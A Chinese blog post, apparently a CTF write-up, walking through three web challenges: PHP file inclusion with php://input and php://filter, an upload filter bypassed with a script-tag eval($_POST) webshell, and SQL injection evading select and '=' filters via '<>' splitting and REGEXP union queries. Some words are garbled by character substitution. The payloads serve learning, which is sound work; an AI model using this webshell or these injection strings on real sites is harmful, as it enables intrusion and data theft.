当前位置:首页 > Web开发 > 正文

i年龄 web(2)

2024-03-31 Web开发

标签:

include upload  SQL include

首先是一段代码

技术图片

提示说是文件包罗查找一下allow_url_include,是打开的,那我们就可以用php://input

技术图片

我先用先用system执行ls命令检察下目录

技术图片

然后用php://filter来读取文件

技术图片

就会有一串base64

技术图片

解码得到flag

upload

首先看的是上传文件的界面,说是可以上传任意文件,那就先上传一句话咯,在我上传之后,点击上传告成绩能检察上传的文件,

技术图片

发明我的一句话的<?被过滤了,首先可以想到绕过,所以,网上可以找一个合适的一句话再次上传尝尝

<script language="pHp">@eval($_POST[‘sb‘])</script>

上传之后点击上传告成检察没有内容,应该是被解析了,所以用菜刀连接

技术图片

技术图片

技术图片

 SQL

对付这个题提示说是注入,我们就测验考试注入,我对照笨,试了好多都没有试出来,百度了大佬的wp才发明,他是过滤了select、和=,

而且,一般绕过方法不行,得用<>绕过,长常识啊,然后就开始手工union注入,因为=也被过滤了,,所以用REGEXP取代

首先检察显示位

技术图片

技术图片

然后获取数据库:?id=1 union se<>lect 1,(sel<>ect(database()) ),3

技术图片

技术图片

然后获取表,?id=1 union se<>lect 1,(sel<>ect(group_concat(table_name))from information_schema.tables where table_schema REGEXP ‘sqli‘),3

技术图片

然后获取字段名:?id=1 union se<>lect 1,(sel<>ect(group_concat(column_name))from information_schema.columns where table_name REGEXP ‘info‘),3

技术图片

然后获取字段内容:?id=1 union se<>lect 1,(sel<>ect(group_concat(flAg_T5ZNdrm))from info ),3

技术图片

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30336.html